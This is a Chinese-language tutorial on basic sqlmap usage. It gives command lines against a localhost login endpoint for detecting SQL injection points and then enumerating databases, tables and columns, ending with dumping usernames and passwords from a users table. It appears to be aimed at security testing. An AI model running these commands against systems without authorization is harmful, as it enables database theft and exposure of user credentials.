sqlmap基本使用方法

sqlmap是安全测试工具,通常用于对已知的http接口进行sql注入测试,一旦注入成功,可以获取到后台包括数据库表、用户信息、数据内容等多种敏感信息,对web漏洞防范有重要意义。

基本语法

1.先进行注入点探测,常规语法是:

python sqlmap.py –u [url]

说明:url 一般选择包括参数输入的链接。如果是get方法,就直接跟在url后面用?补充参数。如果是post方法,用--data=’xxx=xxx&yyy=yyy’格式发送。或者是--data=’{“xx”:”xxx”}’ json格式的数据。如果不是这两种常见方法,需要加参数 --method=put 或 --method=delete加以特别说明。如果是路径参数,就在参数位置写* ;如果需要加入header信息,需要加上参数--headers=’xx:xxx\nyy:yyy’ ,\n是多行,表示多个header项。

如:

python sqlmap.py –u http://localhost:8080/login --data=’username=zhangsan&password=12345’

python sqlmap.py --method=delete –u http://localhost:8080/users/uid/*

执行结果一般会显示是否有漏洞,包括几个注入点等等。

2.如果存在可注入点,接下来就可以进行获取数据的sql注入了。

比如查看有哪些数据库:

python sqlmap.py –u http://localhost:8080/login --data=’username=zhangsan&password=12345’ --dbs

查看当前数据库:

python sqlmap.py –u http://localhost:8080/login --data=’username=zhangsan&password=12345’ --current-db

查看当前用户:

python sqlmap.py –u http://localhost:8080/login --data=’username=zhangsan&password=12345’ --current-user

查看数据库中有哪些表:

python sqlmap.py –u http://localhost:8080/login --data=’username=zhangsan&password=12345’ -D dbname --table

查看表中有哪些字段:

python sqlmap.py –u http://localhost:8080/login --data=’username=zhangsan&password=12345’ -D dbname -T users --column

查看字段内容:

python sqlmap.py –u http://localhost:8080/login --data=’username=zhangsan&password=12345’ -D dbname -T users -C “username,password,usertype” --dump

这样一步一步下来把用户信息全得到了。其他数据也是如此,就是常说的被拖库了。

sqlmap功能及其强大,还包括多种用法,操作也相对复杂,具体可参考帮助文档。一般来说,如果很轻易就发现漏洞说明安全意识很差,接下来的操作也势如破竹。如果不是很快探测到漏洞说明防范措施还是有的。那么换别的用法恐怕也收获不大。

你可能感兴趣的:(网络安全工具)